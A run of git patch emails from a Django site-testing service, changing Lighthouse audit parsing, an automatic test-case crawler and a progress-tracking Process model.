From dc1ee5a21117712f053856603403faab8f74b100 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:15:48 -0600
Subject: [PATCH 469/752] debuggin lh

---
 app/api/utils/lighthouse.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 523fd4c6..f3bd6258 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -78,6 +78,9 @@ def get_data(self):
                 "pwa": []
             }
 
+            for key in stdout_json["categories"]:
+                print(f'this is the audit -> {key}')
+
             # iterating through categories to get relevant lh_audits 
             # and store them in their respective `audits = {}` obj
             for cat in audits:

From 36ba34d3b313e434e29ef2cb00ff7c10586c1d0b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:33:35 -0600
Subject: [PATCH 470/752] dropped LH version while new 12 is being developed

---
 Dockerfile                  |   2 +-
 app/api/utils/lighthouse.py | 242 ++++++++++++++++++------------------
 app/api/utils/scanner.py    |  18 +--
 3 files changed, 129 insertions(+), 133 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c53676de..83d67c57 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,7 +34,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 RUN npm cache clean --force
 
 # installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse@11.7.1 lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f3bd6258..a8e89c73 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -48,142 +48,138 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # try:
-        stdout_value = self.init_audit() 
-        # decode bytes into string
-        stdout_string = stdout_value.decode('iso-8859-1')
+        try:
+            stdout_value = self.init_audit() 
+            # decode bytes into string
+            stdout_string = stdout_value.decode('iso-8859-1')
 
-        # clean string of any errors
-        delm = '{\n  "lighthouseVersion"'
-        stdout_string = delm + stdout_string.split(delm)[1]
+            # clean string of any errors
+            delm = '{\n  "lighthouseVersion"'
+            stdout_string = delm + stdout_string.split(delm)[1]
 
-        # encode back to bytes
-        stdout_value = stdout_string.encode('iso-8859-1')
+            # encode back to bytes
+            stdout_value = stdout_string.encode('iso-8859-1')
 
-    
-        if len(stdout_string) != 0:
-            if 'Runtime error encountered' in stdout_string:
-                error = {'error': 'lighthouse ran into a problem',}
-                return error
+        
+            if len(stdout_string) != 0:
+                if 'Runtime error encountered' in stdout_string:
+                    error = {'error': 'lighthouse ran into a problem',}
+                    return error
+
+                stdout_json = json.loads(stdout_value)
+
+                # initial audits object
+                audits = {
+                    "seo": [],
+                    "accessibility": [],
+                    "performance": [],
+                    "best-practices": [],
+                    "lighthouse-plugin-crux": [],
+                    "pwa": []
+                }
+
+                # iterating through categories to get relevant lh_audits 
+                # and store them in their respective `audits = {}` obj
+                for cat in audits:
+                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                    if cat_audits is not None:
+                        for a in cat_audits:
+                            if int(a["weight"]) > 0:
+                                audit = stdout_json["audits"][a["id"]]
+                                audits[cat].append(audit)
+                # changing audits names
+                audits['best_practices'] = audits.pop('best-practices')
+                audits['crux'] = audits.pop('lighthouse-plugin-crux')
+                
+                # get scores from each category
+                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+                
+                # attempting crux
+                try:
+                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+                except:
+                    crux_score = 0
+
+                if crux_score == 0 :
+                    crux_score = None
+                    average_score = round((
+                            seo_score + accessibility_score + performance_score 
+                            + best_practices_score + pwa_score
+                        )/ 5)
+                else:
+                    average_score = round((
+                            seo_score + accessibility_score + performance_score 
+                            + best_practices_score + pwa_score + crux_score
+                        )/ 6)
+
+                scores = {
+                    "seo": seo_score,
+                    "accessibility": accessibility_score,
+                    "performance": performance_score,
+                    "best_practices": best_practices_score,
+                    "pwa": pwa_score,
+                    "crux": crux_score,
+                    "average": average_score
+                }
+
+                # save audits data as json file
+                file_id = uuid.uuid4()
+                with open(f'{file_id}.json', 'w') as fp:
+                    json.dump(audits, fp)
+                
+                # upload to s3 and return url
+                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+                root_path = settings.AWS_S3_URL_PATH
+                audits_url = f'{root_path}/{remote_path}'
+            
+                # upload to s3
+                with open(audit_file, 'rb') as data:
+                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                    )
+                # remove local copy
+                os.remove(audit_file)
+
+                data = {
+                    "scores": scores, 
+                    "audits": audits_url,
+                    "failed": False
+                }
+
+            else:
+                raise RuntimeError
+        
+        except Exception as e:
+            print(e)
 
-            stdout_json = json.loads(stdout_value)
+            scores = {
+                "seo": None,
+                "accessibility": None,
+                "performance": None,
+                "best_practices": None,
+                "pwa": None,
+                "crux": None,
+                "average": None
+            }
 
-            # initial audits object
             audits = {
                 "seo": [],
                 "accessibility": [],
                 "performance": [],
-                "best-practices": [],
-                "lighthouse-plugin-crux": [],
-                "pwa": []
-            }
-
-            for key in stdout_json["categories"]:
-                print(f'this is the audit -> {key}')
-
-            # iterating through categories to get relevant lh_audits 
-            # and store them in their respective `audits = {}` obj
-            for cat in audits:
-                print(f'working on cat -> {cat}')
-                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                if cat_audits is not None:
-                    for a in cat_audits:
-                        if int(a["weight"]) > 0:
-                            audit = stdout_json["audits"][a["id"]]
-                            audits[cat].append(audit)
-            # changing audits names
-            audits['best_practices'] = audits.pop('best-practices')
-            audits['crux'] = audits.pop('lighthouse-plugin-crux')
-            
-            # get scores from each category
-            seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-            accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-            performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-            best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-            pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-            
-            # attempting crux
-            try:
-                crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-            except:
-                crux_score = 0
-
-            if crux_score == 0 :
-                crux_score = None
-                average_score = round((
-                        seo_score + accessibility_score + performance_score 
-                        + best_practices_score + pwa_score
-                    )/ 5)
-            else:
-                average_score = round((
-                        seo_score + accessibility_score + performance_score 
-                        + best_practices_score + pwa_score + crux_score
-                    )/ 6)
-
-            scores = {
-                "seo": seo_score,
-                "accessibility": accessibility_score,
-                "performance": performance_score,
-                "best_practices": best_practices_score,
-                "pwa": pwa_score,
-                "crux": crux_score,
-                "average": average_score
+                "best_practices": [],
+                "pwa": [],
+                "crux": []
             }
 
-            # save audits data as json file
-            file_id = uuid.uuid4()
-            with open(f'{file_id}.json', 'w') as fp:
-                json.dump(audits, fp)
-            
-            # upload to s3 and return url
-            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-            remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-            root_path = settings.AWS_S3_URL_PATH
-            audits_url = f'{root_path}/{remote_path}'
-        
-            # upload to s3
-            with open(audit_file, 'rb') as data:
-                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                )
-            # remove local copy
-            os.remove(audit_file)
-
             data = {
                 "scores": scores, 
-                "audits": audits_url,
-                "failed": False
+                "audits": audits,
+                "failed": True
             }
-
-        else:
-            raise RuntimeError
-        
-        # except Exception as e:
-        #     print(e)
-
-        #     scores = {
-        #         "seo": None,
-        #         "accessibility": None,
-        #         "performance": None,
-        #         "best_practices": None,
-        #         "pwa": None,
-        #         "crux": None,
-        #         "average": None
-        #     }
-
-        #     audits = {
-        #         "seo": [],
-        #         "accessibility": [],
-        #         "performance": [],
-        #         "best_practices": [],
-        #         "pwa": [],
-        #         "crux": []
-        #     }
-
-        #     data = {
-        #         "scores": scores, 
-        #         "audits": audits,
-        #         "failed": True
-        #     }
         
         return data
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 4596d429..614ed7bd 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    # try:
+    try:
     # running lighthouse
-    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.lighthouse = lh_data
-    scan.save()
-    # except Exception as e:
-    #     print(e)
+        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.lighthouse = lh_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 527857dfa8d7b84275cb48fd1b8540e05c9c88d5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:06:40 -0600
Subject: [PATCH 471/752] debugging duplicate checker

---
 app/api/utils/autocaser.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3aa75266..8e6bc512 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -335,10 +335,13 @@ def get_current_elements(self) -> list:
 
     def check_for_duplicates(self, elements: list, selector: str) -> bool:
         found_duplicate = False
+        print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
+            print(f'{selector} <||> {ele["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
+                print('element is a duplicate')
                 break
 
             # check if sub_elements exists

From 82555a48eac856b547ed04396d2e53c5ce7e1a38 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:30:54 -0600
Subject: [PATCH 472/752] updated process obj

---
 app/api/models.py             | 5 +++--
 app/api/v1/ops/serializers.py | 2 +-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 4d3210ef..6756c3da 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -497,10 +497,11 @@ def __str__(self):
 class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) 
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
-    successful = models.BooleanField(serialize=True, default=False)
+    success = models.BooleanField(serialize=True, default=False)
+    info = models.JSONField(serialize=True, default=False)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 0ab5e552..784f9237 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -29,7 +29,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'successful', 'info_url', 'progress',
+        'success', 'info_url', 'progress', 'info'
         ]
 
 

From 645b99034b752c7aa0a7744a88af6bc50dad0ef0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:31:51 -0600
Subject: [PATCH 473/752] testing duplicate checker

---
 app/api/utils/autocaser.py | 71 ++++++++++++++++++++------------------
 1 file changed, 37 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8e6bc512..b4ea4f9d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -338,7 +338,7 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
         print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
-            print(f'{selector} <||> {ele["selector"]}')
+            print(f'{selector} <||> {elem["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
                 print('element is a duplicate')
@@ -567,42 +567,45 @@ def get_elements(self):
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
-                    # check the type of element
-                    if elem.tag_name == 'form':
-                        # record form into sub_elements list
-                        sub_elements = self.record_forms(
-                            elements=sub_elements,
-                            form=elem
-                        )
+                    # check if element is duplicate
+                    if not self.check_for_duplicates(sub_elements, elem_selector):
 
-                        # add to layers and ending case
-                        layers += 1
-                        run = False
-                
-                    if elem.tag_name == 'a' or elem.tag_name == 'button':
-                        # record element
-                        sub_elements.append({
-                            'selector': elem_selector,
-                            'elem_type': elem.tag_name,
-                            'placeholder': None,
-                            'value': None,
-                            'type': None,
-                            'data': None,
-                            'action': 'click',
-                            'path': relative_url,
-                            'img': elem_img,
-                            'elements': None,
-                        })
+                        # check the type of element
+                        if elem.tag_name == 'form':
+                            # record form into sub_elements list
+                            sub_elements = self.record_forms(
+                                elements=sub_elements,
+                                form=elem
+                            )
 
-                        # add to layers
-                        layers += 1
+                            # add to layers and ending case
+                            layers += 1
+                            run = False
+                    
+                        if elem.tag_name == 'a' or elem.tag_name == 'button':
+                            # record element
+                            sub_elements.append({
+                                'selector': elem_selector,
+                                'elem_type': elem.tag_name,
+                                'placeholder': None,
+                                'value': None,
+                                'type': None,
+                                'data': None,
+                                'action': 'click',
+                                'path': relative_url,
+                                'img': elem_img,
+                                'elements': None,
+                            })
+
+                            # add to layers
+                            layers += 1
 
-                        # click element
-                        try:
-                            elem.click()
-                        except Exception as e:
-                            print('Element not Clickable, removing')
-                            sub_elements.pop()
+                            # click element
+                            try:
+                                elem.click()
+                            except Exception as e:
+                                print('Element not Clickable, removing')
+                                sub_elements.pop()
 
 
                 # catching all other situations

From c1027f75dfa30e19ce56eebb96662dbbd45b7b25 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:37:02 -0600
Subject: [PATCH 474/752] fixing models issues

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 6756c3da..dbea30a7 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -501,7 +501,7 @@ class Process(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
-    info = models.JSONField(serialize=True, default=False)
+    info = models.JSONField(serialize=True, null=True, blank=True)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
 

From fede376272510889699e9192107e4b9fb87a65a2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 09:42:50 -0600
Subject: [PATCH 475/752] updated for new progress scheme

---
 app/api/admin.py             | 2 +-
 app/api/utils/wordpress.py   | 2 +-
 app/api/utils/wordpress_p.py | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 253bc7ec..89482b91 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -72,7 +72,7 @@ class AutomationAdmin(admin.ModelAdmin):
 
 @admin.register(Process)
 class ProcessAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'successful')
+    list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'success')
 
 
 @admin.register(Case)
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index f94ea864..ea45ef3a 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -518,7 +518,7 @@ def run_migration(self):
             # <h1 class="font-36 color-0E134F proxima-regular mt-1 mb-2">Your migration is complete!</h1>
             # get full page div 
             if new_progress >= 100 or done_text in self.driver.page_source:
-                self.process.successful = True
+                self.process.success = True
                 self.process.time_completed = datetime.now()
                 done = True
 
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
index 889a00ff..1c2632e2 100644
--- a/app/api/utils/wordpress_p.py
+++ b/app/api/utils/wordpress_p.py
@@ -399,7 +399,7 @@ async def install_plugin(self, plugin_name):
     def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
         if info_url is not None:
             self.process.info_url = info_url
-        self.process.successful = successful
+        self.process.success = successful
         if time_completed is not None:
             self.process.time_completed = time_completed
         if progress is not None:

From 527d6dfe9ec90a5b471e3a29a9c4f05fd57cd5e8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:25:35 -0600
Subject: [PATCH 476/752] adding `Process` to AutoCase

---
 app/api/models.py             |   2 +
 app/api/tasks.py              |   5 +-
 app/api/tests.py              |   0
 app/api/utils/autocaser.py    |  50 ++++++++++++++-
 app/api/v1/ops/serializers.py |   2 +-
 app/api/v1/ops/services.py    | 115 ++++++++++++++++++++--------------
 6 files changed, 123 insertions(+), 51 deletions(-)
 delete mode 100644 app/api/tests.py

diff --git a/app/api/models.py b/app/api/models.py
index dbea30a7..05186cb3 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -497,10 +497,12 @@ def __str__(self):
 class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
+    exception = models.TextField(serialize=True, null=True, blank=True)
     info = models.JSONField(serialize=True, null=True, blank=True)
     info_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     progress = models.FloatField(serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3c98c5f1..e936eaa8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -496,16 +496,19 @@ def purge_logs(username=None, *args, **kwargs):
 def create_auto_cases_bg(
     self, 
     site_id=None,
+    process_id=None,
     max_cases=None,
     max_layers=None,
     configs=None
 ):
-    # get site
+    # get objects
     site = Site.objects.get(id=site_id)
+    process = Process.objects.get(id=process_id)
 
     # init AutoCaser
     AC = AutoCaser(
         site=site,
+        process=process,
         max_cases=max_cases,
         max_layers=max_layers,
     )
diff --git a/app/api/tests.py b/app/api/tests.py
deleted file mode 100644
index e69de29b..00000000
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index b4ea4f9d..3e52cc09 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -14,10 +14,17 @@
 class AutoCaser():
 
 
-    def __init__(self, site, max_cases: int=4, max_layers: int=5):
+    def __init__(
+        self, 
+        site,
+        process, 
+        max_cases: int=4, 
+        max_layers: int=5,
+    ):
          
-        # main site object & configs
+        # main objects & configs
         self.site = site
+        self.process = process
         self.max_cases = max_cases
         self.max_layers = max_layers
 
@@ -90,6 +97,34 @@ def __init__(self, site, max_cases: int=4, max_layers: int=5):
 
 
 
+    def update_process(
+        self, 
+        current: int, 
+        total: int, 
+        complete: bool=False, 
+        exception: str=None
+    ) -> object:
+        # calculate the current progress of the
+        # task based on current iteration and total 
+        # iterations expected
+        final_progress = 90
+        progress = 0
+        success = False
+        if complete:
+            progress = 100
+            success = True
+        if not complete:
+            progress = float((current/total) * final_progress)
+        
+        # update Process obj
+        self.process.progress = progress
+        self.process.success = success
+        self.process.save()
+
+
+
+
+
 
 
 
@@ -426,6 +461,7 @@ def get_elements(self):
 
 
         # begin elem iteration
+        iterations = 0
         for selector in final_start_elements:
 
             # ensuring we're at start_page
@@ -635,7 +671,12 @@ def get_elements(self):
                 'elements': sub_elements,
             })
 
-        
+            # counting for process 
+            iterations += 1
+
+            # update process
+            self.update_process(current=iterations, total=len(final_start_elements))
+
         # quit driver session
         quit_driver(self.driver)
 
@@ -772,6 +813,9 @@ def sub_element_mapping(elements, steps):
                 },
             )
 
+        # update process
+        self.update_process(current=1, total=1, complete=True)
+
 
         return None
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 784f9237..406cc075 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -29,7 +29,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'success', 'info_url', 'progress', 'info'
+        'success', 'info_url', 'progress', 'info', 'exception'
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d9c42089..8e46c0a3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,11 +171,19 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # create process obj
+        process = Process.objects.create(
+            site=site,
+            type='case',
+            account=account
+        )
+
         # auto gen Cases using bg_autocase_task
         create_auto_cases_bg.delay(
             site_id=site.id,
-            max_cases=3,
-            max_layers=5
+            process_id=process.id,
+            max_cases=4,
+            max_layers=6
         )
         
         # check if this is account's first site and onboarding = True
@@ -2368,49 +2376,6 @@ def export_report(request):
 
 
 
-def get_processes(request):
-    site_id = request.query_params.get('site_id', None)
-    process_id = request.query_params.get('process_id', None)
-
-    if site_id:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-        processes = Process.objects.filter(site=site).order_by('-time_created')
-
-    if process_id:
-        try:
-            process = Process.objects.get(id=process_id)
-            serializer_context = {'request': request,}
-            data = ProcessSerializer(process, context=serializer_context).data
-            record_api_call(request, data, '200')
-            response = Response(data, status=status.HTTP_200_OK)
-            return response
-        except:
-            data = {'reason': 'cannot find a Process with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-    if site_id is None and report_id is None:
-        processes = Process.objects.all().order_by('-time_created')
-
-    paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(processes, request)
-    serializer_context = {'request': request,}
-    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
-    response = paginator.get_paginated_response(serialized.data)
-    record_api_call(request, response.data, '200')
-    return response
-
-
-
-
-
-
-
 
 def save_case_steps(steps, steps_id):
     # setup boto3 configurations
@@ -2637,16 +2602,28 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
+
+    # create process obj
+    process = Process.objects.create(
+        site=site,
+        type='case',
+        account=account
+    )
+
     # send data to bg_autocase_task
     create_auto_cases_bg.delay(
         site_id=site_id,
+        process_id=process.id,
         max_cases=max_cases,
         max_layers=max_layers,
         configs=configs
     )
 
     # return response
-    data = {'message': 'Cases are generating',}
+    data = {
+        'message': 'Cases are generating',
+        'process': str(process.id),
+    }
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -2888,6 +2865,52 @@ def delete_testcase(request, id):
 
 
 
+def get_processes(request):
+    site_id = request.query_params.get('site_id', None)
+    process_id = request.query_params.get('process_id', None)
+    _type = request.query_params.get('type', None)
+    account = Account.objects.get(user=request.user)
+
+    if site_id:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        processes = Process.objects.filter(site=site).order_by('-time_created')
+
+    if process_id:
+        try:
+            process = Process.objects.get(id=process_id)
+            serializer_context = {'request': request,}
+            data = ProcessSerializer(process, context=serializer_context).data
+            record_api_call(request, data, '200')
+            response = Response(data, status=status.HTTP_200_OK)
+            return response
+        except:
+            data = {'reason': 'cannot find a Process with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+
+    if site_id is None and process_id is None:
+        if _type is None:
+            processes = Process.objects.filter(account=account).order_by('-time_created')
+        if _type is not None:
+            processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
+
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(processes, request)
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+
 
 
 def get_logs(request):

From 20f4ce0ea7049752fc327a511a0a97cc473dd993 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:34:28 -0600
Subject: [PATCH 477/752] fixing exception in auto_case()

---
 app/api/v1/ops/services.py | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8e46c0a3..a8864e24 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2602,6 +2602,15 @@ def create_auto_cases(request):
         response = Response(data, status=status.HTTP_404_NOT_FOUND)
         return response
 
+    # get site if only site_id present
+    if site_id is not None and site_url is not None:
+        site = Site.objects.get(id=site_id)
+        if site.account != account:
+            # return error response
+            data = {'reason': 'site not found',}
+            record_api_call(request, data, '404')
+            response = Response(data, status=status.HTTP_404_NOT_FOUND)
+            return response
 
     # create process obj
     process = Process.objects.create(

From 01557d81a494031e7059f51ac9e2ed67dafcb4d5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:38:18 -0600
Subject: [PATCH 478/752] still fixing auto_case exceptions

---
 app/api/v1/ops/services.py | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a8864e24..8655fdcf 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2591,19 +2591,12 @@ def create_auto_cases(request):
     account = Member.objects.get(user=user).account
 
     # get site if only site_url present
-    if site_id is None and site_url is not None:
+    if site_url is not None:
         site = Site.objects.filter(account=account, site_url=site_url)[0]
         site_id = str(site.id)
 
-    if site_id is None and site_url is None:
-        # return error response
-        data = {'reason': 'site not found',}
-        record_api_call(request, data, '404')
-        response = Response(data, status=status.HTTP_404_NOT_FOUND)
-        return response
-
     # get site if only site_id present
-    if site_id is not None and site_url is not None:
+    if site_id is not None:
         site = Site.objects.get(id=site_id)
         if site.account != account:
             # return error response
@@ -2612,6 +2605,15 @@ def create_auto_cases(request):
             response = Response(data, status=status.HTTP_404_NOT_FOUND)
             return response
 
+    if site_id is None and site_url is None:
+        # return error response
+        data = {'reason': 'site not found',}
+        record_api_call(request, data, '404')
+        response = Response(data, status=status.HTTP_404_NOT_FOUND)
+        return response
+
+            
+
     # create process obj
     process = Process.objects.create(
         site=site,

From 43c21cf2c3c5f82fbff1fa16a394e33bd7462c2e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:58:49 -0600
Subject: [PATCH 479/752] debugging process tracker

---
 app/api/utils/autocaser.py | 2 ++
 app/api/v1/ops/services.py | 6 ++++--
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3e52cc09..82019bd7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -115,6 +115,8 @@ def update_process(
             success = True
         if not complete:
             progress = float((current/total) * final_progress)
+
+        print(f'updating process --> {progress}%')
         
         # update Process obj
         self.process.progress = progress
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8655fdcf..da90abfd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -175,7 +175,8 @@ def create_site(request, delay=False):
         process = Process.objects.create(
             site=site,
             type='case',
-            account=account
+            account=account,
+            progress=1
         )
 
         # auto gen Cases using bg_autocase_task
@@ -2618,7 +2619,8 @@ def create_auto_cases(request):
     process = Process.objects.create(
         site=site,
         type='case',
-        account=account
+        account=account,
+        progress=1
     )
 
     # send data to bg_autocase_task

From f3d03e6c98b0d0618171cde2f618376ccc6c3650 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 17:24:28 -0600
Subject: [PATCH 480/752] added excepetion handling for first level of AutoCase
 iteration

---
